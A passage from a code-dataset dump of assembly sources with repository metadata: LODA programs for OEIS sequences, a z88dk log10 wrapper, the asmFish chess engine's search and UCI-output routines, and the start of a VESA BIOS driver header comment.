] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/161/A161422.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/161/A161422.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A161422: a(n) = A161418(n)/6.
; 0,0,0,0,1,1,2,2,4,5
sub $0,1
mov $2,$0
lpb $0
mul $0,$2
add $0,1
div $0,10
add $1,$3
max $3,1
lpe
mov $0,$1
| 10.928571 | 31 | 0.496732 |
70799e7a6f04cae751eaf6db2203036f4185a567 | 151 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_log10.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_log10.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_log10.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_math32
PUBLIC cm32_sdcc_log10
EXTERN cm32_sdcc_fsread1, _m32_log10f
cm32_sdcc_log10:
call cm32_sdcc_fsread1
jp _m32_log10f
| 13.727273 | 37 | 0.827815 |
128ff741e6a1840a1693fa8257a98fd4e5e7b906 | 521 | asm | Assembly | programs/oeis/326/A326065.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/326/A326065.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/326/A326065.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A326065: Sum of divisors of the largest proper divisor of n: a(n) = sigma(A032742(n)).
; 1,1,1,3,1,4,1,7,4,6,1,12,1,8,6,15,1,13,1,18,8,12,1,28,6,14,13,24,1,24,1,31,12,18,8,39,1,20,14,42,1,32,1,36,24,24,1,60,8,31,18,42,1,40,12,56,20,30,1,72,1,32,32,63,14,48,1,54,24,48,1,91,1,38,31,60,12,56,1,90,40,42,1,96,18,44,30,84,1,78,14,72,32,48,20,124,1,57,48,93
seq $0,32742 ; a(1) = 1; for n > 1, a(n) = largest proper divisor of n.
sub $0,1
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
| 74.428571 | 265 | 0.631478 |
2dbb5b530db05deb3df71eafc42a3326062a8495 | 25,268 | asm | Assembly | x86/Think.asm | lucabrivio/asmFish-fasmg | e1d082dcc493bfa18baee0933c113c7a92cd70d8 | [
"BSD-3-Clause"
] | 1 | 2021-07-08T10:54:07.000Z | 2021-07-08T10:54:07.000Z | x86/Think.asm | lucabrivio/asmFish-fasmg | e1d082dcc493bfa18baee0933c113c7a92cd70d8 | [
"BSD-3-Clause"
] | null | null | null | x86/Think.asm | lucabrivio/asmFish-fasmg | e1d082dcc493bfa18baee0933c113c7a92cd70d8 | [
"BSD-3-Clause"
] | 1 | 2020-04-19T16:49:48.000Z | 2020-04-19T16:49:48.000Z |
Thread_Think:
; in: rcx address of Thread struct
push rbp rbx rsi rdi r13 r14 r15
virtual at rsp
.completedDepth rd 1
.alpha rd 1
.beta rd 1
.delta rd 1
.bestValue rd 1
.easyMove rd 1
.multiPV rd 1
.lend rb 0
end virtual
.localsize = ((.lend-rsp+15) and (-16))
_chkstk_ms rsp, .localsize
sub rsp, .localsize
lea rbp, [rcx+Thread.rootPos]
mov rbx, qword[rbp+Pos.state]
mov dword[.easyMove], 0
mov dword[.alpha], -VALUE_INFINITE
mov dword[.beta], +VALUE_INFINITE
mov dword[.delta], -VALUE_INFINITE
mov dword[.bestValue], -VALUE_INFINITE
mov dword[.completedDepth], 0
; clear the search stack
lea rdx, [rbx-5*sizeof.State]
lea r8, [rbx+3*sizeof.State]
mov r9d, CmhDeadOffset
add r9, qword[rbp+Pos.counterMoveHistory]
.clear_stack:
xor eax, eax
lea rdi, [rdx+State._stack_start]
mov ecx, State._stack_end-State._stack_start
rep stosb
mov qword[rdx+State.counterMoves], r9
add rdx, sizeof.State
cmp rdx, r8
jb .clear_stack
; set move list for current state
mov rax, qword[rbp+Pos.moveList]
mov qword[rbx-1*sizeof.State+State.endMoves], rax
; resets for main thread
xor eax, eax
mov byte[rbp-Thread.rootPos+Thread.easyMovePlayed], al
mov byte[rbp-Thread.rootPos+Thread.failedLow], al
mov qword[rbp-Thread.rootPos+Thread.bestMoveChanges], rax
cmp eax, dword[rbp-Thread.rootPos+Thread.idx]
jne .skip_easymove
mov rcx, qword[rbx+State.key]
call EasyMoveMng_Get
mov dword[.easyMove], eax
call EasyMoveMng_Clear
.skip_easymove:
; set multiPV
lea rcx, [rbp+Pos.rootMovesVec]
call RootMovesVec_Size
mov ecx, dword[options.multiPV]
cmp eax, ecx
cmova eax, ecx
mov dword[.multiPV], eax
; id loop
mov r15d, dword[rbp-Thread.rootPos+Thread.rootDepth] ; this should be set to 0 by ThreadPool_StartThinking
.id_loop:
xor eax, eax
mov ecx, dword[limits.depth]
cmp eax, dword[rbp-Thread.rootPos+Thread.idx]
cmovne ecx, eax
sub ecx, 1
cmp al, byte[signals.stop]
jne .id_loop_done
cmp r15d, ecx
ja .id_loop_done
add r15d, 1
mov dword[rbp-Thread.rootPos+Thread.rootDepth], r15d
cmp r15d, MAX_PLY
jge .id_loop_done
; skip depths for helper threads
mov eax, dword[rbp-Thread.rootPos+Thread.idx]
mov ecx, 20
sub eax, 1
jc .age_out
xor edx, edx
div ecx
; edx = idx-1 after idx has been updated by edx=(idx-1)%+1
xor ecx, ecx
.loopSkipPly:
add ecx, 1
lea eax, [rcx+1]
imul eax, ecx
cmp eax, edx
jbe .loopSkipPly
lea eax, [r15+rdx]
add eax, dword[rbp+Pos.gamePly]
xor edx, edx
div ecx
sub eax, ecx
test eax, 1
jz .id_loop
jmp .save_prev_score
.age_out:
; Age out PV variability metric
_vmovsd xmm0, qword[rbp-Thread.rootPos+Thread.bestMoveChanges]
_vmulsd xmm0, xmm0, qword[constd._0p505]
mov byte[rbp-Thread.rootPos+Thread.failedLow], 0
_vmovsd qword[rbp-Thread.rootPos+Thread.bestMoveChanges], xmm0
.save_prev_score:
; Save the last iteration's scores before first PV line is searched and all the move scores except the (new) PV are set to -VALUE_INFINITE.
mov rcx, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
mov rdx, qword[rbp+Pos.rootMovesVec+RootMovesVec.ender]
.save_next:
mov eax, dword[rcx+RootMove.score]
mov dword[rcx+RootMove.prevScore], eax
add rcx, sizeof.RootMove
cmp rcx, rdx
jb .save_next
if USE_WEAKNESS
; if using weakness, reset multiPV local variable
cmp byte[weakness.enabled], 0
je @f
mov eax, dword[weakness.multiPV]
mov dword[.multiPV], eax
@@:
end if
if USE_VARIETY
mov dword[rbp - Thread.rootPos + Thread.extra], 0
mov dword[rbp - Thread.rootPos + Thread.randSeed + 4*0], dword 0.1
mov dword[rbp - Thread.rootPos + Thread.randSeed + 4*1], dword 0.2
mov dword[rbp - Thread.rootPos + Thread.randSeed + 4*2], dword 0.4
mov dword[rbp - Thread.rootPos + Thread.randSeed + 4*3], dword 0.6
end if
; MultiPV loop. We perform a full root search for each PV line
or r14d, -1
.multipv_loop:
add r14d, 1
mov al, byte[signals.stop]
mov dword[rbp-Thread.rootPos+Thread.PVIdx], r14d
cmp r14d, dword[.multiPV]
jae .multipv_done
test al, al
jnz .multipv_done
; Reset UCI info selDepth for each depth and each PV line
mov byte[rbp-Thread.rootPos+Thread.selDepth], al
; Reset aspiration window starting size
imul r8d, r14d, sizeof.RootMove
mov edx, 18
add r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
cmp r15d, 5
jl .reset_window_done
mov eax, dword[r8+RootMove.prevScore]
mov ecx, -VALUE_INFINITE
sub eax, edx
cmp eax, ecx
cmovl eax, ecx
mov dword[.alpha], eax
mov eax, dword[r8+RootMove.prevScore]
mov ecx, VALUE_INFINITE
add eax, edx
cmp eax, ecx
cmovg eax, ecx
mov dword[.beta], eax
mov dword[.delta], edx
.reset_window_done:
; Start with a small aspiration window and, in the case of a fail high/low,
; re-search with a bigger window until we're not failing high/low anymore.
.search_loop:
mov ecx, dword[.alpha]
mov edx, dword[.beta]
mov r8d, r15d
xor r9d, r9d
call Search_Root ; rootPos is in rbp, ss is in rbx
mov r12d, eax
mov dword[.bestValue], eax
mov qword[rbp+Pos.state], rbx
imul ecx, r14d, sizeof.RootMove
add rcx, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
mov rdx, qword[rbp+Pos.rootMovesVec+RootMovesVec.ender]
call RootMovesVec_StableSort
; If search has been stopped, break immediately. Sorting and writing PV back to TT is safe because RootMoves is still valid, although it refers to the previous iteration.
mov al, byte[signals.stop]
test al, al
jnz .search_done
; When failing high/low give some update before a re-search.
cmp dword[rbp-Thread.rootPos+Thread.idx], 0
jne .dont_print_pv
mov eax, dword[.multiPV]
cmp eax, 1
jne .dont_print_pv
cmp r12d, dword[.alpha]
jle @f
cmp r12d, dword[.beta]
jl .dont_print_pv
@@:
call Os_GetTime
sub rax, qword[time.startTime]
if VERBOSE = 0
cmp rax, 3000
jle .dont_print_pv
end if
mov ecx, r15d
mov edx, dword[.alpha]
mov r8d, dword[.beta]
mov r9, rax
mov r10d, dword[.multiPV]
call DisplayInfo_Uci
.dont_print_pv:
; In case of failing low/high increase aspiration window and re-search, otherwise exit the loop.
mov r8d, dword[.alpha]
mov r9d, dword[.beta]
mov eax, dword[.delta]
mov r10d, eax
cdq
and edx, 3
add eax, edx
sar eax, 2
lea r10d, [r10+rax+5]
; r10d = delta + delta / 4 + 5
lea eax, [r8+r9]
cdq
sub eax, edx
sar eax, 1
; eax = (alpha + beta) / 2
mov edx, r12d
cmp r12d, r8d
jle .fail_low
cmp r12d, r9d
jl .search_done
.fail_high:
add edx, dword[.delta]
mov ecx, VALUE_INFINITE
cmp edx, ecx
cmovg edx, ecx
mov dword[.beta], edx
mov dword[.delta], r10d
jmp .search_loop
.fail_low:
sub edx, dword[.delta]
mov ecx, -VALUE_INFINITE
cmp edx, ecx
cmovl edx, ecx
mov dword[.alpha], edx
mov dword[.beta], eax
mov dword[.delta], r10d
cmp dword[rbp-Thread.rootPos+Thread.idx], 0
jne .search_loop
mov byte[rbp-Thread.rootPos+Thread.failedLow], -1
mov byte[signals.stopOnPonderhit], 0
jmp .search_loop
.search_done:
; Sort the PV lines searched so far and update the GUI
imul edx, r14d, sizeof.RootMove
mov rcx, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
lea rdx, [rcx+rdx+sizeof.RootMove]
call RootMovesVec_StableSort
cmp dword[rbp-Thread.rootPos+Thread.idx], 0
jne .multipv_loop
call Os_GetTime
mov r9, rax
sub r9, qword[time.startTime]
cmp byte[signals.stop], 0
jne .print_pv2
lea eax, [r14+1]
cmp eax, dword[.multiPV]
je .print_pv2
if VERBOSE = 0
cmp r9, 3000
jle .multipv_loop
end if
.print_pv2:
mov ecx, r15d
mov edx, dword[.alpha]
mov r8d, dword[.beta]
mov r10d, dword[.multiPV]
call DisplayInfo_Uci
if USE_WEAKNESS
cmp byte[weakness.enabled], 0
je .multipv_loop
call Weakness_SetMultiPV
end if
jmp .multipv_loop
.multipv_done:
mov al, byte[signals.stop]
test al, al
jnz @f
mov dword[rbp-Thread.rootPos+Thread.completedDepth], r15d
@@:
cmp dword[rbp-Thread.rootPos+Thread.idx], 0
jne .id_loop
; If skill level is enabled and time is up, pick a sub-optimal best move
; not implemented
; Have we found a "mate in x"
; not implemented
; r12d = bestValue remember
mov al, byte[limits.useTimeMgmt]
test al, al
jz .id_loop
mov al, byte[signals.stop]
or al, byte[signals.stopOnPonderhit]
jnz .handle_easymove
call Os_GetTime
sub rax, qword[time.startTime]
mov r11, rax
; r11 = Time.elapsed()
xor eax, eax
cmp al, byte[rbp-Thread.rootPos+Thread.failedLow]
setne al
imul eax, 119
add eax, 357
mov ecx, r12d
sub ecx, dword[rbp-Thread.rootPos+Thread.previousScore]
imul ecx, 6
sub eax, ecx
mov edx, 229
cmp eax, edx
cmovl eax, edx
mov edx, 715
cmp eax, edx
cmovg eax, edx
_vcvtsi2sd xmm3, xmm3, eax
; xmm3 = improvingFactor
mov eax, dword[time.optimumTime]
mov ecx, 5
mul ecx
mov ecx, 44
div ecx
; eax = Time.optimum() * 5 / 42
mov r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
mov ecx, dword[r8+RootMove.pv+4*0]
_vmovsd xmm0, qword[rbp-Thread.rootPos+Thread.bestMoveChanges]
_vmovsd xmm2, qword[constd._1p0]
_vaddsd xmm2, xmm2, xmm0
; xmm2 = unstablePvFactor
xor r9d, r9d
cmp r11d, eax
jbe @f
cmp ecx, dword[.easyMove]
jne @f
_vcomisd xmm0, qword[constd._0p03]
sbb r9d, r9d
@@:
; r9d = doEasyMove
_vmulsd xmm2, xmm2, xmm3
_vcvtsi2sd xmm0, xmm0, r11d
_vmulsd xmm0, xmm0, qword[constd._628p0]
_vcvtsi2sd xmm1, xmm1, dword[time.optimumTime]
_vmulsd xmm1, xmm1, xmm2
add r8, sizeof.RootMove
cmp r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.ender]
je .set_stop
_vcomisd xmm0, xmm1
ja .set_stop
mov byte[rbp-Thread.rootPos+Thread.easyMovePlayed], r9l
test r9d, r9d
jz .handle_easymove
.set_stop:
mov al, byte[limits.ponder]
test al, al
jnz @f
mov byte[signals.stop], -1
jmp .handle_easymove
@@:
mov byte[signals.stopOnPonderhit], -1
.handle_easymove:
mov rcx, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
mov eax, dword[rcx+RootMove.pvSize]
cmp eax, 3
jb @f
call EasyMoveMng_Update
jmp .id_loop
@@:
call EasyMoveMng_Clear
jmp .id_loop
.id_loop_done:
mov al, byte[rbp-Thread.rootPos+Thread.easyMovePlayed]
mov ecx, dword[easyMoveMng.stableCnt]
cmp dword[rbp-Thread.rootPos+Thread.idx], 0
jne .done
cmp ecx, 6
jb @f
test al, al
jz .done
@@:
call EasyMoveMng_Clear
.done:
;GD_String <db 'Thread_Think returning',10>
add rsp, .localsize
pop r15 r14 r13 rdi rsi rbx rbp
ret
MainThread_Think:
; in: rcx address of Thread struct should be mainThread
push rbp rbx rsi rdi r15
lea rbp, [rcx+Thread.rootPos]
mov rbx, qword[rbp+Pos.state]
mov ecx, dword[rbp+Pos.sideToMove]
mov edx, dword[rbp+Pos.gamePly]
call TimeMng_Init
mov eax, dword[options.contempt]
cdq
imul eax, PawnValueEg
mov ecx, 100
idiv ecx
mov ecx, eax
mov eax, dword[rbp+Pos.sideToMove]
neg ecx
mov dword[DrawValue+4*rax], ecx
xor eax, 1
neg ecx
mov dword[DrawValue+4*rax], ecx
add byte[mainHash.date], 4
if USE_WEAKNESS
; set multipv and change maximumTime
cmp byte[weakness.enabled], 0
je @f
; start with one line, may be changed by Weakness_PickMove
mov dword[weakness.multiPV], 1
call Weakness_AdjustTime
@@:
end if
; check for mate
mov r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.ender]
cmp r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
je .mate
if USE_BOOK
; if we are pondering then we still want to search
; even if the result of the search will be discarded
xor esi, esi
mov dword[book.move], esi
mov dword[book.weight], esi
mov dword[book.ponder], esi
cmp sil, byte[book.ownBook]
je @f
cmp rsi, qword[book.buffer]
je @f
call Book_GetMove
mov dword[book.move], eax
mov dword[book.weight], edx
mov dword[book.ponder], ecx
cmp sil, byte[limits.ponder]
jne @f
test eax, eax
jnz .search_done
@@:
end if
; start workers
xor esi, esi
.next_worker:
add esi, 1
cmp esi, dword[threadPool.threadCnt]
jae .workers_done
mov rcx, qword[threadPool.threadTable+8*rsi]
call Thread_StartSearching
jmp .next_worker
.workers_done:
; start searching
lea rcx, [rbp-Thread.rootPos]
call Thread_Think
.search_done:
; check for wait
mov al, byte[signals.stop]
test al, al
jnz .dont_wait
mov al, byte[limits.ponder]
or al, byte[limits.infinite]
jz .dont_wait
mov byte[signals.stopOnPonderhit], -1
lea rcx, [rbp-Thread.rootPos]
lea rdx, [signals.stop]
call Thread_Wait
.dont_wait:
mov byte[signals.stop], -1
; wait for workers
xor esi, esi
.next_worker2:
add esi, 1
cmp esi, dword[threadPool.threadCnt]
jae .workers_done2
mov rcx, qword[threadPool.threadTable+8*rsi]
call Thread_WaitForSearchFinished
jmp .next_worker2
.workers_done2:
if USE_BOOK
; must do after waiting for workers
; since ponder could have started the workers
mov esi, dword[book.move]
test esi, esi
jnz .play_book_move
end if
; check for mate again
mov r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.ender]
cmp r8, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
je .mate_bestmove
if USE_WEAKNESS
cmp byte[weakness.enabled], 0
jne .pick_weak_move
end if
; find best thread index esi, best score in r9d
xor esi, esi ;check if there are threads with a better score than main thread
mov r10, qword[threadPool.threadTable+8*rsi]
mov r8d, dword[r10+Thread.completedDepth]
mov r9, qword[r10+Thread.rootPos+Pos.rootMovesVec+RootMovesVec.table]
mov r9d, dword[r9+0*sizeof.RootMove+RootMove.score]
mov eax, dword[options.multiPV]
sub eax, 1
or eax, dword[limits.depth]
or al, byte[rbp-Thread.rootPos+Thread.easyMovePlayed]
jne .best_done
mov rcx, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
mov ecx, dword[rcx+0*sizeof.RootMove+RootMove.pv+4*0]
test ecx, ecx
jz .best_done
xor edi, edi
.next_worker3:
add edi, 1
cmp edi, dword[threadPool.threadCnt]
jae .workers_done3
mov r10, qword[threadPool.threadTable+8*rdi]
mov eax, dword[r10+Thread.completedDepth] ;depthDiff
mov rcx, qword[r10+Thread.rootPos+Pos.rootMovesVec+RootMovesVec.table]
mov ecx, dword[rcx+0*sizeof.RootMove+RootMove.score] ;scoreDiff
cmp eax, r8d
jl .next_worker3
cmp ecx, r9d
jle .next_worker3
mov r8d, eax
mov r9d, ecx
mov esi, edi
jmp .next_worker3
.workers_done3:
.best_done:
mov dword[rbp-Thread.rootPos+Thread.previousScore], r9d
mov rcx, qword[threadPool.threadTable+8*rsi]
.display_move:
call DisplayMove_Uci
.return:
pop r15 rdi rsi rbx rbp
ret
if USE_WEAKNESS
.pick_weak_move:
call Weakness_PickMove
mov rax, qword[rbp+Pos.rootMovesVec.table]
mov eax, dword[rax+0*sizeof.RootMove+RootMove.score]
lea rcx, [rbp-Thread.rootPos]
mov dword[rcx+Thread.previousScore], eax
jmp .display_move
end if
if USE_BOOK
.play_book_move:
; esi book move
lea rdi, [Output]
mov rax, 'info str'
stosq
mov eax, 'ing '
stosd
mov rax, 'playing '
stosq
mov rax, 'book mov'
stosq
mov rax, 'e weight'
stosq
mov al, ' '
stosb
mov eax, dword[book.weight]
call PrintUnsignedInteger
PrintNL
call WriteLine_Output
lea rdi, [Output]
mov rax, 'bestmove'
stosq
mov al, ' '
stosb
mov ecx, esi
movzx edx, byte[rbp+Pos.chess960]
call PrintUciMove
mov ecx, dword[book.ponder]
test ecx, ecx
jz .NoBookPonder
mov rax, ' ponder '
stosq
movzx edx, byte[rbp+Pos.chess960]
call PrintUciMove
.NoBookPonder:
PrintNL
call WriteLine_Output
jmp .return
end if
.mate:
lea rdi, [Output]
mov rax, 'info dep'
stosq
mov rax, 'th 0 sco'
stosq
mov eax, 're '
stosd
sub rdi, 1
cmp qword[rbx+State.checkersBB], 1
sbb ecx, ecx
and ecx, VALUE_DRAW + VALUE_MATE
sub ecx, VALUE_MATE
call PrintScore_Uci
.mate_print:
PrintNL
cmp byte[options.displayInfoMove], 0
je .return
call WriteLine_Output
jmp .search_done
.mate_bestmove:
lea rdi, [Output]
mov rax, 'bestmove'
stosq
mov rax, ' NONE'
stosq
sub rdi, 3
jmp .mate_print
DisplayMove_Uci:
; in: rcx address of best thread
push rbp rsi rdi
lea rbp, [rcx+Thread.rootPos]
cmp byte[options.displayInfoMove], 0
je .return
; print best move and ponder move
lea rdi, [Output]
mov rax, 'bestmove'
stosq
mov al, ' '
stosb
mov rcx, qword[rbp + Pos.rootMovesVec + RootMovesVec.table]
mov ecx, dword[rcx + 0*sizeof.RootMove + RootMove.pv + 4*0]
call PrintUciMove
mov rcx, qword[rbp + Pos.rootMovesVec + RootMovesVec.table]
mov eax, dword[rcx + 0*sizeof.RootMove + RootMove.pvSize]
cmp eax, 2
jb .get_ponder_from_tt
.have_ponder_from_tt:
mov rax, ' ponder '
stosq
mov ecx, dword[rcx + 0*sizeof.RootMove + RootMove.pv + 4*1]
call PrintUciMove
.skip_ponder:
PrintNL
call WriteLine_Output
.return:
pop rdi rsi rbp
ret
.get_ponder_from_tt:
mov rcx, rbp
call ExtractPonderFromTT
mov rcx, qword[rbp + Pos.rootMovesVec + RootMovesVec.table]
test eax, eax
jnz .have_ponder_from_tt
jmp .skip_ponder
ExtractPonderFromTT:
; in: rcx address of position
push rbp rbx rsi rdi r13 r14 r15
virtual at rsp
.movelist rb sizeof.ExtMove*MAX_MOVES
.lend rb 0
end virtual
.localsize = .lend-rsp
_chkstk_ms rsp, .localsize
sub rsp, .localsize
mov r15, qword[rcx+Pos.rootMovesVec+RootMovesVec.table]
mov rbp, rcx
mov rbx, qword[rcx+Pos.state]
mov ecx, dword[r15+RootMove.pv+4*0]
xor eax, eax
cmp eax, ecx
je .Return
call Move_GivesCheck
mov ecx, dword[r15+RootMove.pv+4*0]
mov byte[rbx+State.givesCheck], al
call Move_Do__ExtractPonderFromTT
mov rcx, qword[rbx+State.key]
call MainHash_Probe
mov esi, ecx
shr esi, 16
xor r14d, r14d
test edx, edx
jz .done
lea rdi, [.movelist]
call Gen_Legal
lea rdx, [.movelist-sizeof.ExtMove]
.looper:
add rdx, sizeof.ExtMove
cmp rdx, rdi
jae .done
cmp esi, dword[rdx+ExtMove.move]
jne .looper
or r14d, -1
mov dword[r15+RootMove.pv+4*1], esi
mov dword[r15+RootMove.pvSize], 2
.done:
mov ecx, dword[r15+RootMove.pv+4*0]
call Move_Undo
mov eax, r14d
.Return:
add rsp, .localsize
pop r15 r14 r13 rdi rsi rbx rbp
ret
DisplayInfo_Uci:
; in: rbp thread pos
; ecx depth
; edx alpha
; r8d beta
; r9 elapsed
; r10d multipv
push rbx rsi rdi r12 r13 r14 r15
virtual at rsp
.elapsed rq 1
.nodes rq 1
.tbHits rq 1
.nps rq 1
.depth rd 1
.alpha rd 1
.beta rd 1
.multiPV rd 1
.hashfull rd 1
rd 1
.output rb 8*MAX_PLY
.lend rb 0
end virtual
.localsize = ((.lend-rsp+15) and (-16))
_chkstk_ms rsp, .localsize
sub rsp, .localsize
mov dword[.depth], ecx
mov dword[.alpha], edx
mov dword[.beta], r8d
mov qword[.elapsed], r9
mov dword[.multiPV], r10d
; Assert ne, r10d, 0, 'assertion dword[.multiPV]!=0 in Position_WriteOutUciInfo failed'
cmp byte[options.displayInfoMove], 0
je .return
if USE_SPAMFILTER
cmp r9, SPAMFILTER_DELAY
jb .return
end if
if USE_HASHFULL
if VERBOSE < 2
or eax, -1
cmp r9, 1000
jb @f
end if
call MainHash_HashFull
@@:
mov dword[.hashfull], eax
end if
call ThreadPool_NodesSearched_TbHits
mov qword[.nodes], rax
mov qword[.tbHits], rdx
mov edx, 1000
mul rdx
mov rcx, qword[.elapsed]
cmp rcx, 1
adc rcx, 0
div rcx
mov qword[.nps], rax
xor r15d, r15d
.multipv_loop:
imul esi, r15d, sizeof.RootMove
add rsi, qword[rbp+Pos.rootMovesVec+RootMovesVec.table]
mov ecx, dword[rsi+RootMove.score]
cmp ecx, -VALUE_INFINITE
setne cl
xor eax, eax
cmp r15d, dword[rbp-Thread.rootPos+Thread.PVIdx]
setbe al
and eax, ecx
mov ecx, dword[.depth]
sub ecx, 1
mov edx, eax
or edx, ecx
jz .multipv_cont
add ecx, eax
lea rdi, [.output]
mov r12d, dword[rsi+4*rax]
mov rax, 'info dep'
stosq
mov eax, 'th '
stosd
sub rdi, 1
mov eax, ecx
call PrintUnsignedInteger
mov rax, ' seldept'
stosq
mov eax, 'h '
stosw
mov eax, dword[rsi+RootMove.selDepth]
call PrintUnsignedInteger
mov al, ' '
stosb
mov rax, 'multipv '
stosq
lea eax, [r15+1]
call PrintUnsignedInteger
if VERBOSE < 2
mov rax, ' time '
stosq
sub rdi, 2
mov rax, qword[.elapsed]
call PrintUnsignedInteger
mov rax, ' nps '
stosq
sub rdi, 3
mov rax, qword[.nps]
call PrintUnsignedInteger
end if
if USE_SYZYGY
movsx r13d, byte[Tablebase_RootInTB]
mov eax, r12d
cdq
xor eax, edx
sub eax, edx
sub eax, VALUE_MATE - MAX_PLY
sar eax, 31
and r13d, eax
cmovnz r12d, dword[Tablebase_Score]
end if
mov rax, ' score '
stosq
sub rdi, 1
mov ecx, r12d
call PrintScore_Uci
if USE_SYZYGY
test r13d, r13d ; undefined without syzygy
jnz .no_bound
end if
cmp r15d, dword[rbp-Thread.rootPos+Thread.PVIdx]
jne .no_bound
mov rax, ' lowerbo'
cmp r12d, dword[.beta]
jge .yes_bound
mov rax, ' upperbo'
cmp r12d, dword[.alpha]
jg .no_bound
.yes_bound:
stosq
mov eax, 'und'
stosd
sub rdi, 1
.no_bound:
mov rax, ' nodes '
stosq
sub rdi, 1
mov rax, qword[.nodes]
call PrintUnsignedInteger
if USE_HASHFULL
mov ecx, dword[.hashfull]
test ecx, ecx
js @1f
mov rax, ' hashful'
stosq
mov ax, 'l '
stosw
mov eax, ecx
call PrintUnsignedInteger
@1:
end if
if USE_SYZYGY
mov rax, ' tbhits '
stosq
mov rax, qword[.tbHits]
call PrintUnsignedInteger
end if
mov eax, ' pv'
stosd
sub rdi, 1
mov r13d, dword[rsi+RootMove.pvSize]
lea r12, [rsi+RootMove.pv]
lea r13, [r12+4*r13]
.next_move:
mov al, ' '
cmp r12, r13
jae .moves_done
stosb
mov ecx, dword[r12]
call PrintUciMove
add r12, 4
jmp .next_move
.moves_done:
PrintNL
lea rcx, [.output]
call WriteLine
.multipv_cont:
add r15d, 1
cmp r15d, dword[.multiPV]
jb .multipv_loop
.return:
add rsp, .localsize
pop r15 r14 r13 r12 rdi rsi rbx
DisplayMove_None:
DisplayInfo_None:
ret
| 25.117296 | 171 | 0.603491 |
55bf2c85fb22fe3cc38cdabd18119c70bf98da6a | 23,189 | asm | Assembly | src/PJ/flic386p/libsrc/vesa/vesaintf.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 119 | 2015-01-10T15:13:50.000Z | 2022-01-24T04:54:34.000Z | src/PJ/drivekit/vesa/vesaintf.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 6 | 2015-10-22T20:14:59.000Z | 2021-07-10T03:25:21.000Z | src/PJ/flic386p/libsrc/vesa/vesaintf.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 27 | 2015-04-24T22:55:30.000Z | 2022-01-21T13:54:00.000Z | ;*****************************************************************************
;* VESAINTF.ASM - VESA BIOS interfaces.
;*
;* NOTES:
;* This module contains routines to detect the presence of the
;* VESA BIOS, query the available modes, enter and leave those
;* modes, and perform bank switches via VESA BIOS calls.
;*
;* If you're looking at this code for the first time, be sure to
;* see the comments in DRVCOMN.I concerning the wcontrol structure.
;*
;* MAINTENANCE:
;* ??/??/91 Jim Byers
;* Original version (hardware.asm).
;* 03/27/91 Ian Lepore
;* Overall driver was rewritten. The code in this module was
;* mostly copied from the original driver's hardware.asm module.
;* All the output routines were removed to their own modules,
;* then code was added herein to build the ytable during mode
;* initialization. Other small changes were made to glue the
;* original hardware.asm code to changes in device.c.
;* 04/25/91 Ian Lepore
;* Changed the pj_vdrv_set_colors routine (see comments there),
;* and added pj_vdrv_uncc64 and pj_vdrv_uncc256.
;* 05/28/91 Ian
;* Split out non-VESA code (set colors, wait_sync) to DRVCOMN.ASM.
;* 06/03/91 Ian
;* Heavily modified, especially the pj_vesa_detect routine, for
;* use in the new integrated autodetect supervga driver. These
;* changes mostly consisted of having pj_vesa_detect fill in the
;* new SMInfo structure array instead of the old vesamodes array,
;* and a conversion to parms-in-regs as required by the svga
;* init code that calls pj_vesa_detect.
;* 07/30/91 Ian
;* This module is now shared by the vesa driver and the svga
;* autodetect driver. All global names now start with pj_ for
;* compatibility with the FLILIB stuff.
;* 12/06/91 Ian
;* Did some tweaks for PharLap/IntelCB compatibility. Where we
;* used to directly call a pharlap function to allocate a buffer
;* in the DOS memory region, we now call pj_dosmem_alloc() to
